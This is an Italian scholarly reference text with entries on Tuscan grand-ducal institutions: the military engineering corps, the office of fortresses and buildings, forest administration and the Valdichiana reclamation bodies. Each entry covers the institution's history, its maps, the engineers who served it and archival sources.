Il 10 giugno 1739 il Consiglio di Guerra garantì al colonnello Warren la collaborazione dei comandanti e la disponibilità di una nave per intraprendere il viaggio di conoscenza delle fortezze toscane, ricognizione che sfocerà nel 1749 nella Raccolta di piante delle principali città e fortezze del Gran Ducato di Toscana.
Il 30 settembre 1746 il Consiglio di Guerra fu abolito e le sue funzioni trasferite al Consiglio di Reggenza, sebbene personale, uffici e archivi continuassero a rimanerne ben distinti.
In seguito al nuovo Regolamento militare del 1753, venne istituito un Corpo del Genio Militare, dipendente dalla Direzione generale dell’Artiglieria e Fortificazioni, composto da due capitani, due tenenti, due sottotenenti, un matematico, un disegnatore, due cadetti, quattro sorveglianti e quarantasette impiegati ripartiti nelle varie piazze e fortezze. Concentrato nelle tre piazzeforti di Firenze, Livorno e Portoferraio, dal 1760 il Corpo fu sotto il comando del maggiore Giuseppe De Baillou, trasferito da Livorno, dove ricopriva la carica di Provveditore alle locali fortificazioni dal 1749. Coadiuvato dall’ing. Francesco Maillard, De Baillou assunse la direzione del Corpo con la carica di colonnello ed una provvigione annua di 6300 lire.
Nel 1763 De Baillou propose l’ampliamento dell’organico di tutto il battaglione di artiglieria dal numero di 175 a quello di 226 uomini, a cui erano aggregati gli ingegneri-geografi, e segnalò per la cattedra vacante di matematiche un padre gesuita austriaco; l’ampliamento venne approvato, mentre nuovo matematico fu nominato il dottor Giusepe Pigri, con l’approvazione di Vienna del 1764.
Sebbene fosse descritto come «non numeroso» nel 1765, con la politica militare di Pietro Leopoldo il Corpo del Genio venne ben presto ridimensionato: il 2 settembre 1777 il Corpo degli Ingegneri Militari fu soppresso e la manutenzione degli edifici militari nuovamente affidata allo Scrittoio delle Regie Fabbriche, la cui competenza sarà conservata fino agli ultimi anni del Granducato toscano.

Produzione cartografica

Si deve alla Direzione generale dell’Artiglieria e Fortificazioni la Raccolta di piante delle principali città e fortezze del Gran Ducato di Toscana (ASF, Segreteria di Gabinetto, 695), ordinata dal granduca Francesco Stefano e redatta tra il 1739 e il 1749 dagli Ingegneri del Genio Militare sotto la guida del colonnello Odoardo Warren (pubblicata a cura di Gurrieri, 1979).
Numerosi altri disegni di fortificazioni, torri, forti, dogane ecc. prodotti dal Genio Militare della Toscana sono conservati in ISCAG (cfr. Principe, 1988).

Operatori

Tra gli ingegneri che lavorarono al servizio della Direzione generale dell’Artiglieria e Fortificazioni prima e del Corpo del Genio Militare poi, risultano:
Odoardo o Edoardo Warren (1739), Giuseppe De Baillou (1760), Innocenzio Fazzi (nel 1765 proposto capitano), Andrea Dolcini (nel 1765 proposto tenente), Giuliano Anastasi (dal 1739 nel Genio fino al 1746; nel 1744 redige una Carte generale della Toscana), Duret, Luigi Gargani, Leonardo Garin, Diodato Ray, Giacinto van Lint, Vittorio Anastasi o Anastagi, L. Vannuccini, Petrella Del Monte (nel 1749 tenente), Odoardo Warren il giovane (nel 1749 maggiore), Francesco Maillard (luogotenente nel 1749), Giovanni Masini (nel 1749 capitano), Pierre Hurault (nel 1761 capitano), Desmarres (capitano), Jean Tausch (nel 1761 proposto luogotenente), Carlo Sguazza (nel 1761 proposto luogotenente), Pietro Giovanni Venturi (nel 1761 proposto luogotenente.), Pasquale Fortunati (nel 1761 promosso sottoluogotenente), Taddeo Antioco Musso (napoletano, dal 1762 sottoluogotenente, nel 1765 proposto tenente), Giovanni Antonio Fabbri (livornese, nel 1765 proposto sottoluogotenente), Giuseppe Spadini (di Portoferraio, nel 1765 proposto sottoluogotenente), Philippe Low (nel 1765 proposto conduttore), Domenico Malfanti (nel 1765 proposto conduttore), Gaetano Benvenuti di Portoferraio (disegnatore), Francesco Fei (fiorentino, nel 1749 maggiore), Giovanni Masini (livornese, luogotenente dal 1745 e capitano dal 1756, architetto, ingegnere e disegnatore), Giovanni Boldrini (promosso nel 1761 “munizionario della Piazza di Grosseto”), Bernard St. Michel (lorenese, proposto capitano nel 1761), Alessandro Giannerini (aretino, esperto in geometria, proposto capitano nel 1761), Niccola Lotti (fiorentino, dal 1758 sottoluogotenente, nel 1765 proposto tenente).

Riferimenti bibliografici e archivistici

Archivio di Stato di Firenze, 1991; Barsanti, Bravieri e Rombai, a cura di, 1988; Bertuzzi e Vaccari, 1993, pp. 306-360; Coppi e Rombai, 1988, pp. 21-41; Gurrieri, a cura di, 1979; Ludovico, 1991; Manetti, 1991; Mori, 1907, pp. 1-8; Nanni, Pierulivo e Regoli, 1993; Rombai, 1993; Rombai, 1995; Rombai, 1987; Romby, 1993; Toccafondi e Vivoli, 1993; Guida generale agli Archivi di Stato italiani, 1983, pp. 90 e 114. ASF, Corpo degli Ingegneri Militari direzioni di Firenze, Livorno, Lucca, Orbetello e Portoferraio; ASF, Commissariato di Guerra di Firenze. L’inventario è in fase di elaborazione ed è intitolato Guida ai fondi archivistici militari. Si segnalano in particolare le seguenti filze: ASF, Corpo degli Ingegneri militari, ff. 1538–1551 (anni 1739-1774), ff. 1589-1625 (anni 1738-1752), ff. 1659–1910 (anni 1738-1752, di cui ff. 1744-1745 “Inventari di Stabili e fabbricati ad uso militare); ASF, Commissariato di Guerra di Firenze, ff. 1538-1551 (anni 1739-1744), ff. 1552–1588 (anni 1738–1752, “Fabbriche attinenti allo Scrittoio dell’Artiglieria e Fortificazioni”).

Rosamaria Martellacci (Siena)

Fortezze e Fabbriche (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Amministrazione delle Regie Fortezze e Fabbriche (1548-1553 circa)

Scrittoio delle Fortezze e Fabbriche (1553 circa-1739)

Scrittoio delle Reali (Regie) Fabbriche (1739-1849)

Creata nel 1548 da Cosimo I, l’Amministrazione delle Regie Fortezze e Fabbriche può essere considerata il primo nucleo dal quale si forma negli anni immediatamente successivi lo Scrittoio delle Fortezze e Fabbriche, a cui è demandato il compito di provvedere alle necessità di tutte le fortificazioni toscane, governandole e fornendole di approvvigionamenti e guarnigioni. Lo Scrittoio, che risulta in attività gia nel 1553, ha inoltre l’incombenza di sovrintendere a tutte le fabbriche ”particolari” di proprietà granducale, assegnando gli stanziamenti necessari e controllando l’esecuzione dei lavori necessari e le maestranze impiegate.
Con la riorganizzazione in forma stabile di questo ufficio, negli ultimi anni del Cinquecento, vengono definite le due cariche direttive di Soprintendente e Provveditore Generale delle Fortezze, a cui fanno riferimento soprintendenti e provveditori regionali, incaricati di controllare l’efficienza delle strutture e dei rifornimenti militari (ASF, Miscellanea Medicea, f. 413, c. 437: “Niccolò Arrighi, Teatro di Grazia e Giustizia”, 1695).
Nella prima metà del XVII secolo, la carica di Soprintendente Generale è tenuta per un lungo periodo da Giovanni de’ Medici, Marchese di S. Angelo, figlio naturale di Cosimo I, mentre fra i provveditori spiccano i nomi di Andrea Arrighetti, matematico e fisico, e dell’ingegnere Pietro Guerrini, protagonista di un lungo viaggio intrapreso per ordine di Cosimo III attraverso l’Europa.
Dopo l’estinzione della dinastia medicea e il passaggio della Toscana ai Lorena, con mp del 26 aprile 1739 viene soppresso lo Scrittoio e le sue incombenze ripartite in quattro diversi dipartimenti: il Comandamento di guerra, lo Scrittoio di direzione generale delle fortificazioni, artiglierie, arsenali, lo Scrittoio di fabbriche civili, fontane, getti d’acque e infine lo Scrittoio dei giardini. Le fabbriche militari sono affidate alla gestione della Direzione generale dell’artiglieria e fortificazioni, diretta dal colonnello Odoardo Warren, a cui fa capo, a partire dal 1759, data della sua istituzione, anche il l’ufficio del Genio militare; a sovrintendere alle fabbriche civili è nominato l’architetto lorenese Jean-Nicolas Jadot, mentre Luis Ferdinand Gervais diviene Direttore e Disegnatore dei giardini.
Dato che nel tempo, lo Scrittoio vede ampliare le proprie incombenze dalle sole fortificazioni ai palazzi granducali e agli allestimenti di feste e cerimonie, dopo aver attinto per il personale da altre magistrature, a partire dalla metà del secolo può contare su un organico tecnico costituito da un certo numero di maestranze fisse, un ingegnere delle fortezze e un aiuto dell’ingegnere. La gestione delle fabbriche civili e la manutenzione delle fortezze e degli edifici della Direzione generale d’artiglieria e fortificazioni è affidata a società di privati, con contratti di appalto generale.
L’attività di architetti e ingegneri alle dipendenze dello Scrittoio è regolata da apposite istruzioni, in funzione del controllo che il tecnico è tenuto a esercitare sugli appalti. Le istruzioni del 1741, che definiscono i compiti degli architetti tenuti a «levar le piante, alzate e profili di tutti i Palazzi, Ville e altre fabbriche e Condotti e fontane di S.A.R.», vengono variate il 17 agosto 1789.
Dopo che nel 1763 è abolito il sistema degli appalti, riportando tutti gli edifici sotto il diretto controllo dello Scrittoio, il 26 giugno 1765, una revisione delle funzioni dei dipartimenti porta alla soppressione dell’ufficio destinato alla gestione dei giardini, riassorbito nello Scrittoio delle Fortezze e fabbriche. Nella complessiva revisione delle magistrature, voluta dal granduca Pietro Leopoldo, nel 1777 il Corpo degli Ingegneri Militari passa dalla Direzione d’Artiglieria, a cui era stata demandata sino a quel momento l’amministrazione delle fabbriche militari, allo Scrittoio medesimo. Da questo momento ricadono sotto il controllo dello Scrittoio delle Reali Fabbriche, oltre ai palazzi e le ville reali, la gestione delle fortezze e di tutti i beni militari, le fabbriche sanitarie, le fabbriche doganali, le darsene e i porti marittimi. Nel 1794 la sua competenza viene estesa alle fabbriche dipendenti dall’Amministrazione generale delle regie rendite e dall’Ufficio generale delle poste del Granducato, di cui acquisisce anche gli archivi. Compito dello Scrittoio è inoltre quello di predisporre progetti e relazioni, anche su richiesta della Segreteria di Stato, della Segreteria di Finanze, della Segreteria di Guerra e dell’Ufficio della Guardaroba, che non dispongono di uno staff tecnico proprio.
Sottoposto al Conservatore dei reali palazzi e ville, dal 1802 al 1808, anno in cui viene soppresso dal governo francese che ne demanda i compiti ai Dipartimenti o Prefetture, lo Scrittoio delle Fortezze e Fabbriche riprende la propria attività nel 1814, all’indomani del ritorno dei Lorena dopo la restaurazione, continuandola sino al 9 dicembre 1849, quando le sue incombenze sono definitivamente assegnate alla Direzione dei lavori di acque e strade.

Produzione cartografica

Il fondo documentario conservato presso l’ASF, che copre il periodo 1602-1849, composto da 335 pezzi, è inventariato secondo due diverse sezioni Fabbriche Medicee e Fabbriche Lorenesi. L’ampio spettro di incombenze che, nel tempo, furono affidate allo Scrittoio giustifica il gran numero di documenti cartografici, disegni e piante, che ci sono pervenuti allegati alle pratiche conservate nel fondo, recentemente (2000) catalogati in un inventario analitico fornito di indice alfabetico per località e per autori.
Si tratta di una documentazione di notevole interesse che illustra una gran parte dei lavori di costruzione, trasformazione e restauro effettuati nel corso di circa due secoli e mezzo sugli immobili di proprietà dello stato, sia civili (ville, residenze granducali, edifici pubblici) che militari (fortezze, torri costiere, opere di difesa).
Fra i disegni più antichi conservati nel fondo vi sono il progetto relativo alla ristrutturazione della Rocca di Pietrasanta, redatto da Raffaello del Bianco agli inizi del Seicento (ASF, Scrittoio delle Fortezze e fabbriche Fabbriche lorenesi,1930/258) o quelli di Annibale Cecchi per la costruzione di nuovi baluardi alle mura di Firenze del 1654 (Id., 1933) o per il consolidamento del Baluardo del Maggiore a Portoferraio del 1657 (Id., 1933/694).
Nel corso del Settecento, il passaggio dai Medici ai Lorena comporta uno sforzo di aggiornamento della cartografia per quanto riguarda le strutture di proprietà pubblica e, in particolare, di quelle militari, che proseguirà nell’Ottocento.
Per dare un’idea della vastità tematica della cartografia prodotta dall’ente, basti ricordare che essa riguarda oltre alle difese, vedi la Pianta del Forte San Pietro situato a Livorno (Id., 2001/135) e la Pianta dimostrativa una porzione di Portoferraio (Id., 2002/4), entrambe della fine del XVIII secolo, o per il periodo successivo la Pianta del Forte Focardo e dei terreni adiacenti, del 1830, che illustra una delle realizzazioni secentesche spagnole all’Isola d’Elba (Id., 2124/27), anche i problemi idraulici, relativi fra gli altri alla costruzione di un nuovo canale a Pisa nel 1749 (Id., 1943/195), alla regimentazione dei fiumi, il Serchio nel 1761 (Id., 1951/744), l’Arno nel 1774 (Id., 1953/889), il Montone a Terra del Sole, di Annibale Cecchi nel 1657-1668 (Id., 1928/64) e 1768 (1956/121), la Magra a Pontremoli nel 1775 (Id., 1961/625). Numerose inoltre le rappresentazioni cartografiche di insediamenti e porzioni di territorio, come le piante di Terra del Sole del 1722 (Id., 1940/1646), della Darsena e della Linguella del 1749 (Id., 1943/170), e delle saline delle Joie di Portoferraio del 1751 (Id., 1945/258), del tratto di mare fra Talamone e Porto S. Stefano, di Alessandro Nini del 1804 (Id., 2038/23), di Livorno di Antonio Piemontesi detto Baleggio di Vienna del 1804 circa (Id., 2039/15), di Pitigliano di Alessandro Doveri del 1820 (Id., 2082/11), del litorale di Forte dei Marmi di Francesco Riccetti del 1822 (Id., 2082/19), di Rio Marina all’isola d’Elba del 1844 (Id., 2190/182).
Tra Sette e Ottocento l’attenzione si appunta sulla rete stradale, vedi la pianta delle Strade Regie che collegano Firenze con Viterbo e Perugina del 1824 (Id., 2092/7), o verso i processi di ammodernamento delle città e in particolare della capitale, con la costruzione del nuovo cimitero di Trespiano del 1784 (Id., 1997/606), e l’apertura di nuovi quartieri, come quello di Barbano presso la Fortezza da Basso del 1849 (Id., 2216A/219).
Una parte significativa dell’apparato grafico di ausilio alle pratiche evase dallo Scrittoio è inoltre conservato, come carte sciolte, in ASF, Piante dello Scrittoio delle Fortezze e Fabbriche,di cui esiste un inventario sommario. Il fondo è composto di 666 pezzi, fra piante e registri per un totale di circa 1.500 disegni, che coprono un arco di tempo che va dal 1548 al 1851, anche se la maggior parte è riferibile al periodo lorenese. Si rimanda alla Description de la Citadelle de S Jean Baptiste de Florence del 1737 (Id., 549) o al Progetto per il rafforzamento delle difese dell’area grossetana con la costruzione di nuove fortezze lungo il fiume Ombrone e alla Pianta dei lavori nuovi fatti fuori e dentro della porta nuova di Grosseto del 1755 (Id., n. 550). Notevole il corpus delle carte che documentano la situazione di fatto del maggiore porto toscano, vedi la Carte de la rade de Livourne Leveé en 1795 par le Cap. Sean Kint (Id., cart. V 1 A3), e le trasformazioni ottocentesche subite dalla città, relative alla costruzione della nuova cinta muraria, la realizzazione delle porte, le lottizzazioni dei terreni dopo le demolizioni dell’antica cinta, i nuovi ponti, i fossi, la darsena, i nuovi sobborghi. Si devono all’ingegnere Luigi Bettarini sia una pianta della città con indicazione delle mura da smantellarsi del 1850 (Id., cart. V 1 A3) che il Progetto di demolizione delle fortificazioni sulla darsena e sul fosso reale di Livorno all’oggetto di riunire la nuova alla vecchia città (Id., cart. VII 8 H4).

Operatori

Nel fondo documentario conservato presso l’ASF, nelle due diverse sezioni Fabbriche Medicee e Fabbriche Lorenesi, compaiono ben 123 autori di disegni fra ingegneri, architetti, agrimensori e periti che, a vario titolo, prestarono la loro opera nell’ambito dello Scrittoio.
Si è già avuto modo di ricordare i nomi di Raffaello del Bianco, Annibale Cecchi, Alessandro Nini, Antonio Piemontesi detto Baleggio, Alessandro Doveri, Francesco Riccetti, il capitano Sean Kint, e Luigi Bettarini.
Un’analisi sistematica dei fondi archivistici dimostra che, ad esempio, nella prima metà dell’Ottocento furono alle dirette dipendenze dell’ente gli architetti Luigi Bettarini, Antonino Benini, Luigi Bosi, Giuseppe Cacialli, Lodovico Chantreau, Mariano Falcini, Domenico Giraldi, Luigi Grassi, Giuseppe Martelli, Filippo Nini, Fabio Nuti, Giovanni Pacini, Pasquale Poccianti, Vincenzo Ricci, per lo più impiegati a Firenze, Alessandro Doveri a Siena, Francesco Riccetti a Pisa, Luigi Bettarini a Portoferraio, Giuseppe Ciulli e Angiolo Caprilli a Orbetello, Francesco Leoni a Piombino, Giuseppe Franchini e Alessandro Manetti a Volterra, Giovanni Pacini a Livorno.

Riferimenti bibliografici e archivistici

Cresti e Zangheri, 1978; Guida generale degli Archivi di Stato Italiani, 1983, vol. II; Martelli, 2005; Martelli, 2005; Orefice, 2002; Orefice, 2005; Peroni, 1936; Pietro Leopoldo d’Asburgo Lorena, 1969, I; Toccafondi e Vivoli, 1987; Zangheri, 1978; ASF, Miscellanea Medicea; ASF, Scrittoio delle Fortezze e fabbriche Fabbriche lorenesi; ASF, Piante dello Scrittoio delle Fortezze e Fabbriche.

Gabriella Orefice (Siena)

Direzione Generale dei Boschi (XVII secolo–1780) (Granducato di Toscana)

Attiva dal 1743 al 1781, la Direzione Generale dei Boschi continuò l’opera di amministrazione delle boscaglie e delle selve toscane che fin dal XVII sec. era di pertinenza dello Scrittoio delle Reali Possessioni e, sebbene solo per il taglio dei boschi in alcune zone specifiche, dei Capitani di Parte Guelfa.
Il Commissario e Visitatore generale dei boschi veniva eletto direttamente dal Granduca e godeva di una provvisione di 25 scudi al mese, erogata in parte dallo Scrittoio delle Possessioni, in parte dai Nove Conservatori e in parte dalla Magona del Ferro.
Nell’ambito del generale riordino degli uffici pubblici dovuto all’avvento dei Lorena, vennero decise una maggiore liberalizzazione del taglio dei boschi e una nuova organizzazione amministrativa dei controlli. Con il Regolamento del 15 ottobre 1743, la Toscana venne divisa in Cinque dipartimenti creati appositamente «per il governo delle boscaglie» di proprietà pubblica e privata, con sedi a Firenze, Siena, Pisa, Arezzo e Cortona, Pistoia. Successivamente, con mp 28 marzo 1770, Pietro Leopoldo assoggettò alle imposte i beni amministrati dallo Scrittoio delle Possessioni e con 24 ottobre 1780 fu definitivamente sanzionato il principio della assoluta libertà dei proprietari; vennero quindi smantellati i Cinque Dipartimenti, riaggregando allo Scrittoio delle Reali Possessioni le competenze in materia di boschi rimaste allo Stato.

Produzione cartografica

A livello cartografico, un corposo filone fa riferimento alla gestione economica di boschi e pascoli di proprietà granducale. Una serie di figure risalgono al 1664, quando il provveditore dell’Arsenale Mediceo di Pisa, Giorgio o Zorzi de’ Negri, fece censire le principali aree boscate e le bandite forestali riservate alle “aziende granducali” dell’Arsenale marittimo e della Magona del Ferro (in BUP, ins. 641).
Un altro corpo cartografico è rappresentato dalle piante dei boschi della montagna pistoiese disegnate intorno al 1750 in modo anonimo da tecnici magonali (in ASF, Piante dei Capitani di Parte, cartone XXVI, cc. 53 – 57).
Alla riforma lorenese sulla gestione dei beni forestali di proprietà pubblica e privata, attuata tra il 1743 e il 1781, risalgono le carte dell’intera Toscana divisa nei Cinque dipartimenti e dei singoli dipartimenti forestali di Firenze, Pisa, Pistoia, Siena e Arezzo, in ASF, Miscellanea di Piante, nn. 103, 198, 210, 253, 504/a–b; la Carta del Dipartimento di Cortona è invece in ASF, Piante dei Capitani di Parte, cc. sciolte n. 72.

Operatori

Giorgio o Zorzi de’ Negri (provveditore, 1664).

Riferimenti bibliografici e archivistici

Rombai, Toccafondi e Vivoli, a cura di, pp. 25-53; Valentini, 1993, pp. 245-303. ASF, Segreteria di Finanze ante 1788, n. 396 “Direzione generale dei boschi. Parte istorica”; ASF, Possessioni, 1318, inss. 6, 56, 65; ASF, Miscellanea di Piante; ASF, Piante dei Capitani di Parte Guelfa; ASF, Piante topografiche dello Scrittoio delle Reali Possessioni; ASF, Piante dello Scrittoio delle Reali Possessioni; ASF, Piante dello Scrittoio delle Reali Possessioni – Serie Tomi; ASF, Magona del Ferro; BUP, n. 641.

Rosamaria Martellacci (Siena)

Deputazioni per la Valdichiana (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Deputazione (o Commissione) per la Val di Chiana (1783-1792)

Regia Soprintendenza delle Acque della Val di Chiana (1794-1808)

Dipartimento dell’Acque della Provincia di Val di Chiana e Amministrazione dei Beni della Corona di Val di Chiana (1808-1814)

Amministrazione Economico-Idraulica della Val di Chiana e Amministrazione dei Beni della Corona in Val di Chiana (1816-1861)

Una prima Soprintendenza sulla Valdichiana pare sia stata istituita nel 1702. Infatti, con mp del 5 agosto di quell’anno, il soprassindaco dei Nove, Andrea Poltri, venne “eletto e delegato Soprintendente Generale e Giudice privativo di ogni e qualunque operazione per l’affare delle Chiane”, con l’assistenza tecnica degli ingegneri Pier Antonio Tosi per conto dello Scrittoio delle Regie Possessioni e Giovanni Franchi, poi sostituito da Luigi Orlandi (ASF, Capitani di Parte. Numeri Neri, f. 1599, c. 1, e f. 1605). Non è dato sapere però se questa Soprintendenza abbia continuato a lavorare e per quale tempo.
Occorre attendere il 1783, perché il granduca Pietro Leopoldo nominasse una moderna Deputazione (o Commissione) per la Val di Chiana, formata da sei notabili locali eletti nella zona e presieduta da Angelo Tavanti, che aveva il compito di coordinare i lavori della bonifica.
Dal 1788 la direzione del lavori di bonifica venne affidata a Vittorio Fossombroni, nominato Soprintendente alla bonifica (carica che manterrà fino al 1827); il mp del 2 settembre recitava: “considerando […] che l’importante articolo delle colmate esige di essere regolato e diretto con vedute uniformi tendenti unicamente al comune vantaggio della provincia e dei rispettivi proprietari che hanno i loro beni in colmata, comandò che la generale soprintendenza di tutte le colmate fosse affidata al Visitatore dei beni di campagna dell’Ordine di S. Stefano”.
L’anno successivo, il Fossombroni pubblicò le Memorie idraulico-storiche sopra la Valdichiana (Montepulciano, Tip. Fumi, 1835), corredate di un apparato cartografico inciso da G. Canocchi, precisamente: la Pianta d’insieme della Valle di Chiana con i corsi dell’Arno, Tevere e Chiana, la Mappa del corso della Chiana (secondo il modello del Corsini), la più particolare Mappa del territorio di Arezzo (inquadrato tra la collina di S. Fiora e la confluenza della Chiana in Arno) e il Profilo della livellazione del Canal Maestro della Chiana (eseguito da Giuseppe Salvetti nel 1769), con l’utilizzazione e la rielaborazione grafica della pianta prospettica quattrocentesca che si conserva nella Cattedrale di Arezzo (Guarducci, 2005).
Uno degli incarichi del soprintendente era quello di visitare annualmente la valle al fine di valutare le opere di bonifica in corso, e quindi l’operato dei deputati che, a quanto si evince, appariva al Fossombroni non sempre apprezzabile; ogni visita era documentata in una dettagliata relazione che veniva puntalmente inviata al granduca. In quella del 30 luglio 1790, si diceva ad esempio che i deputati, anziché procedere alla manutenzione del Canale Maestro, promuovevano “lavori grandiosi” che eccedevano “le loro facoltà decisionali” e che gli ordini da lui impartiti nella visita precedente non erano stati eseguiti, anzi, il Canale era “sempre più sfigurato e malconcio” e vi erano stati eseguite opere assolutamente condannabili, che egli non mancava di elencare.
Nello stesso anno 1790, un’altra visita ai lavori in Valdichiana era stata ordinata dal Granduca al canonico matematico e idraulico Pio Fantoni che, nel mese di giugno, vi si recò insieme all’ingegnere Giovanni Franceschi; la relazione, pubblicata a Firenze nel 1791, era corredata di una serie di tavole (Di Pietro, 2005, pp. 134-139; il documento è in ASF, Scrittoio delle Regie Possessioni, f. 5269).
Nel 1792 la deputazione fu soppressa per le forti dispute interne originate dai troppi particolarismi, e le sue competenze trasferite al soprassindaco della Camera delle Comunità, come era nel periodo precedente alle riforme leopoldine.
Nell’agosto dello stesso anno, in luogo della Deputazione abolita, l’aretino Niccolò Gamurrini venne nominato Deputato a sovrintendere ai lavori del Canale Maestro e, dal 1798, venne chiamato a dirigere la parte amministrativa delle fattorie della Religione di S. Stefano, in qualità di Direttore dell’Amministrazione dell’Ordine di S. Stefano in Valdichiana, al posto dell’Auditore Neri, morto nel febbraio di quell’anno.
Sempre nel 1792, il Fossombroni si dimise dall’incarico di Visitatore dei beni di campagna della Religione per potersi dedicare completamente, e soprattutto in piena autonomia rispetto ai proprietari della zona, all’incarico di Soprintendente alla bonifica (Di Pietro, 2005, pp. 141-145).
In funzione di un maggiore accentramento delle pratiche della bonifica e di una gestione unitaria della riorganizzazione territoriale, con mp del 6 dicembre 1794, venne istituita la Regia Soprintendenza delle Acque della Val di Chiana che “completava il processo di attribuzione ad un organismo autonomo dai particolari possessori delle funzioni e competenze generali legate alla bonifica”, avviato nel 1792 con l’abolizione della Deputazione precedente (Guarducci, 2001, passim).
L’obiettivo primario era infatti quello di organizzare e gestire a livello globale tutti gli interventi di bonifica in modo da pianificare una situazione che, nei periodi precedenti, era stata condotta senza un preciso disegno unitario e, talvolta, in modo troppo contingente e particolaristico.
L’incarico di Soprintendente Generale al Dipartimento delle Acque della Valdichiana venne confermato a Vittorio Fossombroni che lo mantenne, ininterrottamente, fino al 1827 (Guarducci, 2001, passim).
Al Soprintendente, che aveva l’incarico di effettuare le consuete visite annuali, spettava la direzione tanto del Canale Maestro, tanto quella dei Canali e delle Chiarine di Chiusi, del Passo alla Querce, nonché di tutte le colmate che sarebbero state intraprese sia per gli interessi delle Reali Possessioni che dell’Ordine di S. Stefano o di altri proprietari privati.
Nel 1801, Andrea Nuti (dal 1800 aggiunto al Fossombroni) redasse il “Regolamento Idraulico della Valdichiana” (emanato il 14 gennaio), in base al quale il comprensorio venne suddiviso in 14 circondari idraulici che (divenuti 21 nel 1843) dovevano restare in vigore fino al 1865 col Governo Italiano, allorché – con normative del 1865 e 1868 – il territorio italiano venne organizzato in consorzi idraulici formati e gestiti anche economicamente dai comuni interessati.
Sempre nel 1801, con sovrano rescritto del 22 luglio, venne stabilito il Catasto d’Imposizione del Circondario del fiume Salarco, per opera degli ingegneri Iacopo Gugliantini e Luigi Mazzoni.
Nel 1806 venne realizzata la nuova colmata dell’Esse, già progettata dal Nuti nel 1800 (Borchi, 1988; Di Pietro, 2005, pp. 141-143).
Dal 1808, con l‘annessione della Toscana all’Impero francese e la sua successiva suddivisione nei tre Dipartimenti del Mediterraneo, dell’Ombrone e dell’Arno, la Valdichiana entrò a far parte di quest’ultimo.
Con la nomina del Sovrintendente Fossombroni a senatore e conte dell’Impero, i lavori in Valdichiana vennero seguiti dall’ingegner Nuti, aggiunto al Dipartimento delle Acque.
Dell’organico facevano parte diversi impiegati (tecnici e periti) residenti in loco ai quali, in qualità di Deputati, vennero assegnati i diversi settori della valle con l’incarico di seguire le operazioni di bonifica. Tra questi ricordiamo: Giuseppe Billi (Deputato ai lavori delle colmate, scoli e torrenti); Leopoldo Guidi (aiuto al Deputato di Chiusi); Pietro Zampi (Camarlingo dell’Imposizione per i lavori suddetti); Vincenzo Bottari (sostituto al Camarlingo in Chiusi); Niccolò Gamurrini (Deputato ai lavori al Canale Maestro); Luigi Mazzoni (altro Deputato per i Canali delle Chiarine e del Passo alla Querce, direzione del Callone di Valiano); Giuseppe Ghizzi (Camarlingo dell’Imposizione del Canale Maestro); Domenico Colombi (Camarlingo dell’Imposizione dei Canali delle Chiarine e del Passo alla Querce); Giovanni Lischi (custode della Fabbrica del Callone) (Di Pietro, 2005, pp. 143-146; ASF, Scrittoio delle Regie Possessioni, f. 5269).
Dal 12 maggio 1808 il Dipartimento delle Acque della Valdichiana non fu più a carico dello Stato ma dei particolari interessati alle opere di bonifica, comprese le due amministrazioni delle Imperiali Possessioni e dell’Ordine di S. Stefano.
Con decreto imperiale del 9 aprile 1809 venne soppresso l’Ordine di S. Stefano e le sue fattorie passarono al demanio e poste sotto la direzione dell’Amministrazione dei Beni della Corona di Val di Chiana, già creata da Pietro Leopoldo e mantenuta, anche da un punto di vista amministrativo, dai Francesi; il ruolo di Amministratore venne confermato al Gamurrini che però, nello stesso anno 1809, venne destituito dall’incarico per presunte irregolarità contabili e sostituito con Francesco De Cambray Digny (Di Pietro, 2005, pp. 143-146).
Con la Restaurazione, l’ente preposto alla bonifica della Valdichiana cambiò nuovamente denominazione, con l’istituzione della Amministrazione Economico-Idraulica della Val di Chiana (con rescritto del 26 maggio 1816). Tale organismo nasceva da una proposta del Gamurrini, sostenuta dal Fossombroni.
Compito principale della nuova magistratura, oltre al proseguimento dei lavori di bonifica, era la gestione delle 12 fattorie demaniali, incorporando pertanto anche le funzioni della già rammentata Amministrazione dei Beni della Corona in Val di Chiana.
Il 12 giugno 1816, in base a precise istruzioni firmate dal Fossombroni e dal Sergardi, si stabilì la “consegna delle dodici Fattorie della Valdichiana alla nuova Amm.ne Economico-Idraulica stabilita nella Città d’Arezzo” (nel “Palazzo della Corona”, già sede dei Ministri dell’Ordine”), coerentemente al mp del 27 maggio 1816 (Guarducci, 2001; ASF, Segreteria di Gabinetto, f. 164, ins. 5).
Una volta liquidate tutte le questioni sospese, si stabiliva che sarebbero passati alla nuova amministrazione, dotata di un proprio archivio, “fondi e capitali”, oltre a tutti i documenti relativi; in occasione del passaggio, vennero stilati inventari di beni, attrezzi, ecc.
Anche l’Amministrazione Economico-Idraulica fu una istituzione che nacque per volontà statale, con competenze sia amministrative che idrauliche, con il compito precipuo di amministrare i possedimenti dell’Ordine stefaniano (non ritenuto abbastanza affidabile per tale compito) in Valdichiana (Guarducci, 2001, passim).
Soprintendente generale fu nominato ancora Fossombroni (che già nel 1814, al rientro dei Lorena in Toscana, era stato nominato da Ferdinando III Segretario di Stato e confermato anche nell’incarico in Valdichiana ove rimase fino al 1828); Federigo Capei, aiuto Soprintendente (dal 1826 responsabile diretto dell’Amministrazione Economico-Idraulica al posto dell’oramai vecchio Fossombroni e, fra il 1827 e il 1833, anche Direttore dell’Amministrazione dei Beni della Corona dell’Aretino); Tommaso Albergotti, primo commesso archivista.
L’Amministrazione ebbe, fin dalla sua nascita, come ingegneri dipendenti, Jacopo Gugliantini (dal 1816 al 1824, come si può dedurre dalla firma dei progetti, dopo di che si evince che sia stato in qualche modo estromesso dai ruoli, o per licenziamento o per pensionamento) e Alessandro Manetti (dal 1816 al 1825 e poi dal 1838 al 1861, ingegnere idraulico, figlio dell’ingegnere e architetto Giuseppe, conosciuto e apprezzato dal Fossombroni nel suo soggiorno parigino in qualità di senatore), i quali ricoprirono contemporaneamente due cariche nell’amministrazione statale, operando anche presso il “Dipartimento delle Acque”.
Presso quest’ultimo ramo dell’Amministrazione, operavano anche alcuni periti di campagna, in particolare emergono i nomi di: “Mazzoni Luigi, Deputato del Dipartimento delle Acque e Perito Agrario” (in altri documenti definito anche “Perito della Corona”), attivo sicuramente dal 1817 al 1826; Francesco Cerretelli e Gastone Laparelli nei primi anni ’30 (ASF, Scrittoio delle Regie Possessioni, f. 817, inss. 34 e 36).
